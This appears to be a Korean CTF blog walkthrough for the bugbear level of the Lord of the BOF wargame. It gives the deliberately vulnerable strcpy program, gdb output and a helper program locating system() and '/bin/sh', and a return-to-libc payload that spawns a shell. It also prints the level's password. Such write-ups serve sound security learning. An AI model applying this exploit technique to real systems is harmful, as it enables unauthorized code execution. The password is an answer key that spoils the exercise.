/*
        The Lord of the BOF : The Fellowship of the BOF
        - bugbear
        - RTL1
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        if(argv[1][47] == '\xbf')
        {
                printf("stack betrayed you!!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]); 
        printf("%s\n", buffer);
}

 

이번 문제는 필자가 좋아하는 RTL 공격이다. 스택의 주소를 사용할 수 없으므로 공유 라이브러리 함수를 사용해보자.

bugbear 바이너리를 분석하기 위해 copy하고 gdb로 분석해보자.

 

system() 함수의 주소를 찾기 위해 main에 breakpoint를 걸고 run 한 다음, p system 명령어로 system() 함수의 주소를 찾는다.  system 함수의 주소는 0x40058ae0 임을 알 수 있다.

(gdb) b *main
Breakpoint 1 at 0x8048430
(gdb) r
Starting program: /home/darkknight/tmp/bugbear_copy 

Breakpoint 1, 0x8048430 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
(gdb) 

 

system 함수로 shell을 실행시키기 위해 /bin/sh 문자열을 system 함수에 인자로 넘겨야 한다. /bin/sh 문자열을 찾기 위해 아래 c코드로 /bin/sh 문자열을 찾는다. 0x400fbff9 임을 알 수 있다.

#include <stdio.h>
#include <stdlib.h>

int main(int argc,char *argv[]) {
        long shell;
        shell = 0x40058ae0;
        while(memcmp((void*)shell,("/bin/sh"),8)) shell++;
        printf("%p\n",shell);
}

[darkknight@localhost tmp]$ ./getString 
0x400fbff9
[darkknight@localhost tmp]$ 

 

shell을 획득하기 위한 필요한 주소는 다 찾았으므로 payload를 작성하면 아래와 같다. 아래 처럼 shell을 획득한 것을 볼 수 있다.

[Dummy Code(44bytes)] + [&system()] + [Dummy Code(4bytes)] + [&/bin/sh]
[darkknight@localhost darkknight]$ ./bugbear `python -c 'print "A"*44+"\xe0\x8a\x05\x40"+"BBBB"+"\xf9\xbf\x0f\x40"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@BBBB@
bash$ whoami
bugbear
bash$ my-pass
euid = 513
new divide

 

'CTF > LOB' 카테고리의 다른 글

[LOB] - zombie_assassin -> succubus 풀이  (0) 2019.10.06
[LOB] - giant -> assassin 풀이  (0) 2019.10.06
[LOB] - darkknight -> bugbear 풀이  (0) 2019.10.06
[LOB] - troll -> vampire 풀이  (0) 2019.10.05
[LOB] - orge -> troll 풀이  (0) 2019.10.05
[LOB] - darkelf -> orge 풀이  (0) 2019.10.05